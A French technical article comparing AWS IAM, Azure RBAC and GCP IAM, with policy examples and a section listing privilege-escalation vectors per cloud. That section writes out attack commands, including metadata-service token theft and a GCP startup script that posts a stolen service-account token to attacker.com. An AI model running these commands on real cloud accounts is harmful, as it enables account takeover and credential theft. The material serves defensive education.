La gestion des identités et des accès (IAM) dans le cloud public est devenue en 2026 le domaine le plus complexe et le plus critique de la sécurité informatique. Les trois hyperscalers — AWS, Azure et Google Cloud Platform —.
La gestion des identités et des accès dans le cloud (Cloud IAM) constitue la première ligne de défense de toute infrastructure multi-cloud moderne. Le guide AWS IAM Policies et la documentation Azure RBAC fournissent les spécifications complètes de chaque modèle d'autorisation. Chaque fournisseur — AWS avec IAM Policies, Roles et Permission Boundaries, Azure avec son modèle RBAC intégré à Entra ID et ses Management Groups, et Google Cloud Platform avec ses IAM Bindings, conditions et Organization Policies — propose une approche architecturalement distincte pour résoudre le même problème fondamental : garantir que chaque entité n'accède qu'aux ressources strictement nécessaires à sa mission. Ce comparatif exhaustif analyse les forces, faiblesses et cas d'usage optimaux de chaque modèle IAM, avec des exemples concrets de politiques et des recommandations pour les environnements hybrides.
La gestion des identités et des accès (IAM) dans le cloud public est devenue en 2026 le domaine le plus complexe et le plus critique de la sécurité informatique. Les trois hyperscalers — AWS, Azure et Google Cloud Platform — ont chacun développé leur propre modèle IAM avec des architectures, des terminologies et des mécanismes d'autorisation fondamentalement différents, rendant la maîtrise multi-cloud particulièrement exigeante. Un architecte sécurité opérant dans un environnement multi-cloud doit naviguer entre les IAM policies AWS avec leur langage JSON déclaratif, l'Azure RBAC avec ses rôles intégrés et son système de scopes hiérarchiques, et le GCP IAM avec ses bindings au niveau des ressources et ses conditions contextuelles. Les erreurs de configuration IAM sont la cause numéro un des compromissions cloud documentées par les rapports Mandiant, CrowdStrike et Unit 42. Cet article propose un comparatif technique exhaustif des trois modèles IAM, analyse les vecteurs d'escalade de privilèges spécifiques à chaque cloud, évalue les outils d'audit open source disponibles, et fournit des patterns d'automatisation du moindre privilège applicables en environnement de production.
AWS IAM : architecture et composants fondamentaux
AWS IAM est le système de contrôle d'accès le plus mature des trois hyperscalers, déployé depuis 2010 et continuellement enrichi depuis. Son architecture repose sur un modèle de politiques déclaratives évaluées à chaque appel API, avec une séparation stricte entre les identités (qui fait la requête) et les autorisations (ce que la requête est autorisée à faire).
Les identités IAM dans AWS se décomposent en quatre catégories. Le root account est l'identité omnipotente créée lors de l'ouverture du compte AWS — elle possède toutes les permissions et ne peut pas être restreinte par les politiques IAM. Son utilisation doit être strictement limitée aux opérations qui l'exigent (fermeture du compte, modification du support plan) et protégée par MFA hardware. Les IAM Users sont des identités permanentes avec des credentials long-terme (mot de passe pour la console, access keys pour l'API). Les IAM Roles sont des identités temporaires assumables par des utilisateurs, des services AWS, des applications ou des identités externes (fédération SAML, OIDC). Les IAM Groups sont des collections d'IAM Users facilitant l'attribution de politiques communes.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowS3ReadSpecificBucket",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket",
"s3:GetBucketLocation"
],
"Resource": [
"arn:aws:s3:::production-data-bucket",
"arn:aws:s3:::production-data-bucket/*"
],
"Condition": {
"StringEquals": {
"aws:PrincipalTag/department": "engineering"
},
"IpAddress": {
"aws:SourceIp": ["203.0.113.0/24", "198.51.100.0/24"]
},
"Bool": {
"aws:MultiFactorAuthPresent": "true"
}
}
},
{
"Sid": "DenyDeleteOperations",
"Effect": "Deny",
"Action": [
"s3:DeleteObject",
"s3:DeleteBucket"
],
"Resource": "*"
}
]
}
Les politiques IAM (policies) sont les documents JSON qui définissent les autorisations. AWS distingue plusieurs types de politiques qui interagissent dans un ordre d'évaluation précis. Les Identity-based policies sont attachées aux utilisateurs, groupes et rôles. Les Resource-based policies sont attachées aux ressources elles-mêmes (bucket policies S3, key policies KMS, queue policies SQS). Les Permission Boundaries définissent la limite maximale de permissions qu'une identité peut recevoir. Les Service Control Policies (SCPs) s'appliquent au niveau de l'Organisation AWS et restreignent les permissions de tous les comptes membres. Les Session policies restreignent les permissions temporaires lors de l'assumption d'un rôle via STS.
L'ordre d'évaluation des politiques AWS suit une logique « deny by default » avec un traitement séquentiel des couches. Pour chaque requête API, AWS vérifie d'abord les SCPs (si le compte est membre d'une Organization). Si un SCP refuse l'action, la requête est bloquée immédiatement. Ensuite, les Permission Boundaries sont évaluées — elles ne peuvent qu'additionner des restrictions, jamais accorder des permissions. Puis les Identity-based et Resource-based policies sont évaluées ensemble. Un « Allow » explicite dans l'une de ces politiques autorise l'action, SAUF si un « Deny » explicite existe dans n'importe quelle politique applicable. Le « Deny » explicite prévaut toujours sur l'« Allow » explicite, quel que soit le niveau de la politique.
Politiques et règles
AWS STS et l'assomption de rôles
AWS Security Token Service (STS) est le mécanisme par lequel les identités assument des rôles IAM pour obtenir des credentials temporaires. L'appel sts:AssumeRole retourne un triplet (AccessKeyId, SecretAccessKey, SessionToken) avec une durée de vie configurable (de 15 minutes à 12 heures). Ce mécanisme est fondamental pour l'architecture de sécurité AWS car il permet la délégation de permissions sans partage de credentials long-terme.
# Assomption de rôle cross-account avec STS (Python / boto3)
import boto3
# 1. Assumer un rôle dans un autre compte AWS
sts_client = boto3.client('sts')
assumed_role = sts_client.assume_role(
RoleArn='arn:aws:iam::123456789012:role/CrossAccountAuditor',
RoleSessionName='SecurityAuditSession',
DurationSeconds=3600,
ExternalId='UniqueExternalId123', # Protection contre "confused deputy"
Tags=[
{'Key': 'purpose', 'Value': 'security-audit'},
{'Key': 'auditor', 'Value': 'alice@example.com'}
]
)
credentials = assumed_role['Credentials']
# 2. Utiliser les credentials temporaires
s3_client = boto3.client(
's3',
aws_access_key_id=credentials['AccessKeyId'],
aws_secret_access_key=credentials['SecretAccessKey'],
aws_session_token=credentials['SessionToken']
)
# 3. Trust policy du rôle (attachée au rôle dans le compte cible)
trust_policy = {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::987654321098:root" # Compte source
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "UniqueExternalId123"
},
"Bool": {
"aws:MultiFactorAuthPresent": "true"
}
}
}
]
}
Service Control Policies (SCPs)
Les SCPs constituent le mécanisme de gouvernance le plus puissant dans AWS Organizations. Elles s'appliquent à tous les comptes d'une Organization Unit (OU) et agissent comme un filtre sur les permissions maximales autorisées. Contrairement aux identity-based policies qui accordent des permissions, les SCPs définissent des guardrails — elles restreignent ce qui est possible même si une politique IAM l'autorise. Le root account de chaque compte membre est lui-même soumis aux SCPs, garantissant qu'aucun administrateur de compte ne peut contourner les restrictions de l'Organisation.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyRegionsOutsideEU",
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:RequestedRegion": [
"eu-west-1",
"eu-west-3",
"eu-central-1"
]
},
"ArnNotLike": {
"aws:PrincipalARN": [
"arn:aws:iam::*:role/OrganizationAdmin"
]
}
}
},
{
"Sid": "DenyDisableCloudTrail",
"Effect": "Deny",
"Action": [
"cloudtrail:StopLogging",
"cloudtrail:DeleteTrail",
"cloudtrail:UpdateTrail"
],
"Resource": "*"
},
{
"Sid": "DenyLeaveOrganization",
"Effect": "Deny",
"Action": "organizations:LeaveOrganization",
"Resource": "*"
},
{
"Sid": "RequireIMDSv2",
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringNotEquals": {
"ec2:MetadataHttpTokens": "required"
}
}
}
]
}
Permission Boundaries
Les Permission Boundaries résolvent le problème de la délégation administrative sécurisée. Sans Permission Boundaries, un administrateur IAM capable de créer des rôles et des politiques peut créer un rôle avec des permissions supérieures aux siennes — une forme d'escalade de privilèges. Les Permission Boundaries définissent un plafond de permissions : un rôle dont la Permission Boundary limite les permissions à S3 ne pourra jamais accéder à EC2, même si une politique IAM lui accorde ec2:*. L'intersection entre les permissions accordées par les politiques IAM ET les permissions autorisées par la Permission Boundary détermine les permissions effectives.
Politiques et règles
Le cas d'usage principal des Permission Boundaries est la délégation de la création de rôles IAM aux équipes de développement. Sans Permission Boundaries, autoriser un développeur à créer des rôles IAM pour ses Lambdas revient à lui donner un accès admin — il peut créer un rôle avec AdministratorAccess. Avec une Permission Boundary, le développeur peut créer des rôles mais ces rôles ne peuvent jamais dépasser les permissions définies dans la boundary. Par exemple, une Permission Boundary limitant les permissions à S3, DynamoDB et CloudWatch Logs permet au développeur de créer librement des rôles pour ses fonctions Lambda sans risque d'escalade vers EC2, IAM ou d'autres services critiques.
# Permission Boundary pour la délégation sécurisée
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowedServices",
"Effect": "Allow",
"Action": [
"s3:*",
"dynamodb:*",
"logs:*",
"sqs:*",
"sns:*",
"lambda:InvokeFunction",
"ssm:GetParameter",
"secretsmanager:GetSecretValue"
],
"Resource": "*"
},
{
"Sid": "DenyBoundaryModification",
"Effect": "Deny",
"Action": [
"iam:DeleteRolePermissionsBoundary",
"iam:PutRolePermissionsBoundary"
],
"Resource": "*"
},
{
"Sid": "DenyCreatingRolesWithoutBoundary",
"Effect": "Deny",
"Action": "iam:CreateRole",
"Resource": "*",
"Condition": {
"StringNotEquals": {
"iam:PermissionsBoundary": "arn:aws:iam::123456789012:policy/DeveloperBoundary"
}
}
}
]
}
# Politique du développeur — peut créer des rôles AVEC la boundary obligatoire
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCreateRolesWithBoundary",
"Effect": "Allow",
"Action": [
"iam:CreateRole",
"iam:AttachRolePolicy",
"iam:PutRolePolicy",
"iam:TagRole"
],
"Resource": "arn:aws:iam::123456789012:role/lambda-*",
"Condition": {
"StringEquals": {
"iam:PermissionsBoundary": "arn:aws:iam::123456789012:policy/DeveloperBoundary"
}
}
},
{
"Sid": "AllowPassRoleToLambda",
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::123456789012:role/lambda-*",
"Condition": {
"StringEquals": {
"iam:PassedToService": "lambda.amazonaws.com"
}
}
}
]
}
La combinaison de la Permission Boundary avec la condition iam:PermissionsBoundary dans la politique du développeur crée un système auto-renforçant : le développeur ne peut créer que des rôles portant la boundary, et il ne peut pas supprimer ou modifier la boundary sur les rôles existants. Cette architecture garantit que même un développeur malveillant ou un token compromis ne peut pas escalader au-delà des permissions autorisées par la boundary, tout en donnant l'autonomie nécessaire à l'équipe pour gérer ses propres rôles Lambda sans intervention de l'équipe sécurité.
Modèle d'évaluation AWS : Les permissions effectives d'une identité IAM sont l'INTERSECTION de : (1) les permissions autorisées par les SCPs de l'Organisation, (2) les permissions autorisées par la Permission Boundary, (3) les permissions accordées par les identity-based policies, MOINS (4) tout Deny explicite dans n'importe quelle politique. Ce modèle d'intersection garantit que chaque couche ne peut que restreindre, jamais élargir au-delà de ce que la couche supérieure autorise.
Politiques et règles
Azure RBAC : modèle hiérarchique et Entra ID
Azure RBAC (Role-Based Access Control) diffère fondamentalement d'AWS IAM par son modèle d'héritage hiérarchique et son intégration native avec Microsoft Entra ID (anciennement Azure Active Directory). L'autorisation dans Azure est basée sur l'attribution de rôles à des scopes, avec un mécanisme d'héritage descendant à travers la hiérarchie Management Group → Subscription → Resource Group → Resource.
Les rôles Azure se divisent en deux catégories. Les rôles intégrés (built-in) sont définis par Microsoft et couvrent la majorité des cas d'usage. Les trois rôles fondamentaux sont Owner (accès total + gestion des attributions de rôles), Contributor (accès total sauf gestion des attributions de rôles), et Reader (lecture seule). Des centaines de rôles spécialisés existent pour chaque service Azure (Virtual Machine Contributor, Storage Blob Data Reader, Key Vault Secrets Officer, etc.). Les rôles personnalisés (custom) permettent de définir des permissions granulaires non couvertes par les rôles intégrés, en spécifiant les actions autorisées (Actions), les actions refusées (NotActions), les actions de données (DataActions) et les actions de données refusées (NotDataActions).
// Rôle personnalisé Azure (JSON)
{
"Name": "Storage Blob Auditor",
"Id": "00000000-0000-0000-0000-000000000000",
"IsCustom": true,
"Description": "Peut lire les blobs et les logs d'accès, mais pas modifier les données",
"Actions": [
"Microsoft.Storage/storageAccounts/read",
"Microsoft.Storage/storageAccounts/blobServices/read",
"Microsoft.Storage/storageAccounts/blobServices/containers/read",
"Microsoft.Insights/diagnosticSettings/read",
"Microsoft.Insights/logDefinitions/read"
],
"NotActions": [],
"DataActions": [
"Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read"
],
"NotDataActions": [
"Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write",
"Microsoft.Storage/storageAccounts/blobServices/containers/blobs/delete"
],
"AssignableScopes": [
"/subscriptions/sub-id-production",
"/subscriptions/sub-id-staging"
]
}
// Attribution de rôle Azure (Azure CLI)
// az role assignment create \
// --assignee "alice@example.com" \
// --role "Storage Blob Auditor" \
// --scope "/subscriptions/sub-id/resourceGroups/rg-data/providers/Microsoft.Storage/storageAccounts/proddata"
La distinction Actions vs DataActions est spécifique à Azure et mérite une attention particulière. Les Actions portent sur le plan de gestion (management plane) — la création, modification et suppression des ressources Azure elles-mêmes. Les DataActions portent sur le plan de données (data plane) — l'accès au contenu des ressources (lire un blob, envoyer un message dans une queue, lire un secret Key Vault). Cette séparation permet de créer des rôles donnant accès au contenu sans droits de gestion, ou inversement. Par exemple, le rôle Storage Account Contributor permet de gérer les comptes de stockage (Actions) mais pas de lire les blobs (pas de DataActions), tandis que Storage Blob Data Reader permet de lire les blobs (DataActions) sans gérer les comptes de stockage.
Azure PIM (Privileged Identity Management)
Azure PIM implémente le concept de Just-In-Time (JIT) access pour les rôles privilégiés. Au lieu d'attribuer des rôles de manière permanente, PIM permet de rendre un utilisateur « eligible » pour un rôle — l'utilisateur doit explicitement activer le rôle lorsqu'il en a besoin, avec une durée de vie limitée (1-24 heures). L'activation peut être conditionnée à une approbation managériale, une justification textuelle, et la satisfaction d'une politique Conditional Access (MFA phishing-resistant, appareil conforme).
Politiques et règles
# Configuration PIM via Azure CLI / PowerShell
# Rendre un utilisateur éligible pour le rôle Owner (pas actif permanent)
az rest --method POST \
--uri "https://management.azure.com/providers/Microsoft.Authorization/roleEligibilityScheduleRequests?api-version=2022-04-01-preview" \
--body '{
"properties": {
"principalId": "user-object-id",
"roleDefinitionId": "/subscriptions/sub-id/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"requestType": "AdminAssign",
"scheduleInfo": {
"startDateTime": "2026-05-01T00:00:00Z",
"expiration": {
"type": "AfterDuration",
"duration": "P365D"
}
},
"ticketInfo": {
"ticketNumber": "SEC-2026-001",
"ticketSystem": "ServiceNow"
}
}
}'
# L'utilisateur active le rôle quand nécessaire (durée max 8h)
az rest --method POST \
--uri "https://management.azure.com/providers/Microsoft.Authorization/roleAssignmentScheduleRequests?api-version=2022-04-01-preview" \
--body '{
"properties": {
"principalId": "user-object-id",
"roleDefinitionId": "/subscriptions/sub-id/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"requestType": "SelfActivate",
"linkedRoleEligibilityScheduleId": "eligibility-schedule-id",
"scheduleInfo": {
"startDateTime": "2026-05-01T09:00:00Z",
"expiration": {
"type": "AfterDuration",
"duration": "PT8H"
}
},
"justification": "Intervention maintenance planifiée - Ticket INC-2026-456"
}
}'
PIM est un différenciateur majeur d'Azure par rapport à AWS et GCP. Ni AWS ni GCP ne disposent d'un équivalent natif aussi intégré pour le Just-In-Time access. AWS peut approximer ce comportement via des Lambdas personnalisées qui ajoutent/retirent des politiques temporaires, et GCP via des recommandations IAM et des custom solutions, mais aucun ne fournit l'interface d'activation self-service, le workflow d'approbation et l'audit intégré de PIM. Pour une exploration approfondie de PIM et du Conditional Access Azure, consultez notre article sur la sécurisation d'Entra ID avec le Conditional Access.
GCP IAM : modèle de binding et Workload Identity
Google Cloud Platform IAM adopte un modèle de binding au niveau des ressources qui diffère significativement des approches AWS et Azure. Au lieu d'attacher des politiques à des identités (AWS) ou d'attribuer des rôles à des scopes (Azure), GCP attache des bindings directement aux ressources. Chaque ressource GCP (projet, dossier, organisation, bucket, instance) possède une IAM policy qui liste les membres et les rôles associés.
# IAM policy GCP d'un projet (format JSON)
{
"bindings": [
{
"role": "roles/editor",
"members": [
"user:alice@example.com",
"serviceAccount:app-backend@project-id.iam.gserviceaccount.com"
]
},
{
"role": "roles/storage.objectViewer",
"members": [
"group:data-analysts@example.com"
],
"condition": {
"title": "Production buckets only",
"description": "Accès limité aux buckets de production",
"expression": "resource.name.startsWith('projects/_/buckets/prod-')"
}
},
{
"role": "roles/cloudsql.client",
"members": [
"serviceAccount:app-backend@project-id.iam.gserviceaccount.com"
],
"condition": {
"title": "Business hours only",
"expression": "request.time.getHours('Europe/Paris') >= 8 && request.time.getHours('Europe/Paris') <= 20"
}
}
]
}
# Attribution via gcloud
gcloud projects add-iam-policy-binding project-id \
--member="user:alice@example.com" \
--role="roles/storage.objectViewer" \
--condition="expression=resource.name.startsWith('projects/_/buckets/prod-'),title=Production only"
# Service Account creation
gcloud iam service-accounts create app-backend \
--display-name="Backend Application Service Account" \
--description="SA pour l'application backend - accès Storage et CloudSQL uniquement"
# Attribution de rôle au Service Account
gcloud projects add-iam-policy-binding project-id \
--member="serviceAccount:app-backend@project-id.iam.gserviceaccount.com" \
--role="roles/storage.objectViewer"
Les rôles GCP se décomposent en trois niveaux. Les rôles primitifs (basic) — Owner, Editor, Viewer — sont des rôles hérités des premières versions de GCP, très larges et déconseillés en production. Les rôles prédéfinis sont définis par Google pour chaque service et offrent une granularité fine (ex: roles/storage.objectCreator permet uniquement la création d'objets, pas la lecture ni la suppression). Les rôles personnalisés permettent de combiner des permissions spécifiques pour des cas d'usage non couverts par les rôles prédéfinis.
GCP Workload Identity Federation
Workload Identity Federation est le mécanisme GCP permettant aux charges de travail externes (AWS, Azure, Kubernetes on-premises, GitHub Actions, GitLab CI) d'accéder aux ressources GCP sans utiliser de clés de service accounts. Le principe repose sur la fédération d'identité : le token d'authentification de la plateforme externe est échangé contre un token d'accès GCP via STS, sans clé long-terme.
# Configuration Workload Identity Federation avec GitHub Actions
# 1. Créer un Workload Identity Pool
gcloud iam workload-identity-pools create github-pool \
--location="global" \
--display-name="GitHub Actions Pool"
# 2. Créer un provider OIDC pour GitHub
gcloud iam workload-identity-pools providers create-oidc github-provider \
--location="global" \
--workload-identity-pool="github-pool" \
--issuer-uri="https://token.actions.githubusercontent.com" \
--allowed-audiences="https://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/github-pool/providers/github-provider" \
--attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository,attribute.ref=assertion.ref"
# 3. Autoriser le Service Account à être impersonné par GitHub Actions
gcloud iam service-accounts add-iam-policy-binding \
deploy-sa@project-id.iam.gserviceaccount.com \
--role="roles/iam.workloadIdentityUser" \
--member="principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/github-pool/attribute.repository/org-name/repo-name"
# 4. Utilisation dans GitHub Actions (workflow YAML)
# jobs:
# deploy:
# permissions:
# id-token: write
# contents: read
# steps:
# - uses: google-github-actions/auth@v2
# with:
# workload_identity_provider: 'projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/github-pool/providers/github-provider'
# service_account: 'deploy-sa@project-id.iam.gserviceaccount.com'
GCP Workload Identity pour GKE est l'équivalent pour les charges de travail Kubernetes s'exécutant sur Google Kubernetes Engine. Un ServiceAccount Kubernetes est mappé à un Service Account GCP, permettant aux pods d'accéder aux API GCP avec les permissions du Service Account GCP sans stocker de clés dans des Secrets Kubernetes. Ce mécanisme est considéré comme la meilleure pratique pour l'authentification des pods GKE et élimine le risque de fuite de clés de service account. Pour approfondir la sécurisation des permissions Kubernetes, notre article sur le durcissement des clusters Kubernetes complète cette section.
Analyse complémentaire
Comparatif détaillé : AWS IAM vs Azure RBAC vs GCP IAM
| Critère | AWS IAM | Azure RBAC | GCP IAM |
|---|---|---|---|
| Modèle d'autorisation | Policy-based (politiques JSON) | Role-based (rôles + scopes) | Binding-based (bindings sur ressources) |
| Héritage | Pas d'héritage natif (SCPs par OU) | Héritage descendant (MG→Sub→RG→Res) | Héritage descendant (Org→Folder→Project→Res) |
| Identités humaines | IAM Users, SSO via Identity Center | Entra ID Users & Groups | Google Workspace / Cloud Identity |
| Identités machines | IAM Roles (instance profiles, task roles) | Managed Identities (system/user-assigned) | Service Accounts |
| Credentials temporaires | STS AssumeRole (15min-12h) | Managed Identity tokens (auto) | STS token exchange (1h default) |
| Credentials long-terme | Access Keys (déconseillées) | App registrations (client secrets, certificates) | Service Account Keys (déconseillées) |
| Rôles intégrés | ~1000 AWS managed policies | ~400+ built-in roles | ~950+ predefined roles |
| Rôles personnalisés | Customer managed policies (JSON) | Custom roles (Actions/DataActions) | Custom roles (permissions list) |
| Conditions | Conditions dans les policies (IP, MFA, tags, time) | Conditions sur les attributions (ABAC preview) | CEL conditions sur les bindings |
| Gouvernance organisationnelle | SCPs (Organization), Permission Boundaries | Azure Policies, Management Groups | Organization Policies, Folders |
| JIT Access natif | Non (solutions tierces) | Oui (PIM) | Non (PAM preview 2026) |
| Cross-account/project | AssumeRole cross-account | Cross-tenant B2B / Lighthouse | Cross-project bindings natifs |
| Fédération d'identité workload | OIDC provider pour EKS, GitHub | Workload Identity Federation (preview) | Workload Identity Federation (GA) |
| Recommandations auto | IAM Access Analyzer | Entra ID Access Reviews | IAM Recommender |
| Limite de politiques/rôles | 10 managed policies par user/role/group | 5000 attributions par souscription | 1500 bindings par policy |
| Audit natif | CloudTrail | Azure Activity Log / Entra ID Sign-in Logs | Cloud Audit Logs |
| Séparation management/data plane | Resource-based policies pour le data plane | Actions vs DataActions | Certaines permissions sont data plane |
| Deny explicite | Oui (dans les policies, SCPs) | Oui (deny assignments, limité) | Oui (deny policies, GA 2024) |
| ABAC (Attribute-Based) | Oui (tags sur sessions et ressources) | Preview (conditions sur attributs) | Oui (CEL conditions) |
| Complexité de configuration | Haute (JSON policies complexes) | Moyenne (UI intuitive, CLI puissant) | Moyenne (modèle direct mais CEL complexe) |
| Risque principal | Policies trop permissives (wildcard *) | Héritage non maîtrisé | Rôles primitifs (Editor/Owner) |
Synthèse comparative : AWS IAM offre la granularité la plus fine grâce aux conditions dans les policies et aux Permission Boundaries, mais sa complexité JSON est source d'erreurs. Azure RBAC excelle dans la gestion des identités humaines grâce à Entra ID et PIM, avec un modèle d'héritage intuitif mais qui peut créer des permissions non maîtrisées. GCP IAM propose le modèle le plus direct (binding rôle-membre sur ressource) et la meilleure fédération d'identité workload, mais manque de JIT access natif. Aucun modèle n'est universellement supérieur — le choix dépend du contexte organisationnel et des charges de travail.
Escalade de privilèges par cloud : vecteurs spécifiques
Escalade de privilèges AWS
Les vecteurs d'escalade de privilèges dans AWS IAM ont été systématisés par la recherche de Rhino Security Labs (maintenue dans le projet aws-escalate). Les techniques principales exploitent les permissions IAM qui permettent à un utilisateur de modifier ses propres permissions ou celles d'autres identités.
# Vecteurs d'escalade de privilèges AWS
# 1. iam:CreatePolicyVersion — Créer une nouvelle version de politique
# L'attaquant avec cette permission peut créer une nouvelle version
# d'une politique existante avec des permissions élargies
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
# 2. iam:AttachUserPolicy — Attacher une politique managée à un utilisateur
aws iam attach-user-policy \
--user-name attacker \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 3. iam:PutUserPolicy — Créer une politique inline sur un utilisateur
aws iam put-user-policy \
--user-name attacker \
--policy-name escalation \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
# 4. iam:CreateAccessKey — Créer des access keys pour un autre utilisateur
aws iam create-access-key --user-name admin-user
# => L'attaquant obtient les credentials de l'admin
# 5. iam:CreateLoginProfile — Créer un mot de passe console pour un utilisateur sans console
aws iam create-login-profile --user-name service-account-user --password "AttackerP@ss1"
# => L'attaquant peut se connecter à la console en tant que service-account-user
# 6. iam:PassRole + ec2:RunInstances — Lancer une instance avec un rôle privilégié
aws ec2 run-instances \
--image-id ami-12345 \
--instance-type t3.micro \
--iam-instance-profile Name=admin-role-profile
# => L'instance hérite des permissions du rôle admin
# 7. iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Créer une Lambda avec un rôle privilégié et l'exécuter
aws lambda create-function \
--function-name escalation \
--runtime python3.12 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler index.handler \
--zip-file fileb://escalation.zip
# 8. sts:AssumeRole sans restriction de principal
# Trust policy trop permissive:
# {"Effect":"Allow","Principal":{"AWS":"*"},"Action":"sts:AssumeRole"}
# => TOUT compte AWS peut assumer ce rôle
# 9. iam:UpdateAssumeRolePolicy — Modifier la trust policy d'un rôle
aws iam update-assume-role-policy \
--role-name TargetAdminRole \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::ATTACKER_ACCOUNT:root"},"Action":"sts:AssumeRole"}]}'
# 10. Exfiltration via ssm:SendCommand (si l'instance a un rôle)
aws ssm send-command \
--instance-ids i-1234567890 \
--document-name "AWS-RunShellScript" \
--parameters '{"commands":["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole"]}'
Escalade de privilèges Azure
# Vecteurs d'escalade de privilèges Azure
# 1. Microsoft.Authorization/roleAssignments/write — Auto-attribution de rôle
az role assignment create \
--assignee "attacker-principal-id" \
--role "Owner" \
--scope "/subscriptions/sub-id"
# 2. Microsoft.Authorization/roleDefinitions/write — Modification de rôle custom
# L'attaquant modifie un rôle custom pour ajouter des permissions
az role definition update --role-definition '{
"Name": "Custom Developer Role",
"Actions": ["*"],
"AssignableScopes": ["/subscriptions/sub-id"]
}'
# 3. Microsoft.Compute/virtualMachines/runCommand — Exécution de commandes sur VM
az vm run-command invoke \
--resource-group rg-prod \
--name admin-vm \
--command-id RunShellScript \
--scripts "curl -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"
# 4. Managed Identity Token Theft
# Si l'attaquant a accès à une VM avec Managed Identity:
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# => Token d'accès avec les permissions de la Managed Identity
# 5. Microsoft.KeyVault/vaults/secrets/* — Accès aux secrets Key Vault
az keyvault secret list --vault-name production-vault
az keyvault secret show --vault-name production-vault --name admin-password
# 6. Application Registration abuse (Entra ID)
# L'attaquant avec Application.ReadWrite.All peut créer une app registration
# avec des permissions Graph API élevées et se l'auto-approuver
# 7. PIM abuse — Si l'attaquant est éligible pour un rôle critique
# Il peut activer le rôle sans approbation si le paramètre d'approbation
# n'est pas configuré correctement
Escalade de privilèges GCP
# Vecteurs d'escalade de privilèges GCP
# 1. iam.serviceAccounts.actAs — Agir en tant qu'un Service Account
# Permet de lancer des ressources (VM, Cloud Function, Cloud Run) avec l'identité du SA
gcloud compute instances create escalation-vm \
--service-account=admin-sa@project-id.iam.gserviceaccount.com \
--scopes=cloud-platform \
--zone=europe-west1-b
# 2. iam.serviceAccountKeys.create — Créer des clés de Service Account
gcloud iam service-accounts keys create key.json \
--iam-account=admin-sa@project-id.iam.gserviceaccount.com
# => L'attaquant obtient une clé permanente du SA admin
# 3. iam.serviceAccounts.getAccessToken — Obtenir un token d'accès du SA
gcloud auth print-access-token \
--impersonate-service-account=admin-sa@project-id.iam.gserviceaccount.com
# 4. resourcemanager.projects.setIamPolicy — Modifier la IAM policy du projet
# L'attaquant s'ajoute comme Owner du projet
gcloud projects add-iam-policy-binding project-id \
--member="user:attacker@gmail.com" \
--role="roles/owner"
# 5. cloudfunctions.functions.create + iam.serviceAccounts.actAs
# Créer une Cloud Function avec un SA privilégié
gcloud functions deploy escalation \
--runtime=python312 \
--trigger-http \
--service-account=admin-sa@project-id.iam.gserviceaccount.com \
--source=./escalation_code/
# 6. compute.instances.setMetadata — Modifier les métadonnées d'une VM
# Injection d'un script de startup qui exfiltre le token SA
gcloud compute instances add-metadata target-vm \
--metadata=startup-script='#!/bin/bash
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token.json
curl -X POST https://attacker.com/exfil -d @/tmp/token.json'
# 7. deploymentmanager.deployments.create — Déployer des ressources arbitraires
# Le Deployment Manager utilise le SA du projet par défaut (souvent Editor)
| Technique d'escalade | AWS | Azure | GCP |
|---|---|---|---|
| Auto-attribution de permissions | iam:AttachUserPolicy, iam:PutUserPolicy | roleAssignments/write | setIamPolicy |
| Modification de rôles | iam:CreatePolicyVersion | roleDefinitions/write | iam.roles.update |
| Vol de credentials machine | IMDS (169.254.169.254) | IMDS (Managed Identity) | Metadata server (169.254.169.254) |
| Création de credentials | iam:CreateAccessKey | Application secrets | serviceAccountKeys.create |
| Lancement de compute avec rôle | PassRole + RunInstances | VM Contributor + MI | actAs + compute.create |
| Exécution de code via serverless | PassRole + Lambda create/invoke | Functions + MI | actAs + functions.create |
| Difficulté de détection | Moyenne (CloudTrail) | Moyenne (Activity Log) | Moyenne (Audit Logs) |
Metadata Service et vol de credentials : IMDS attacks
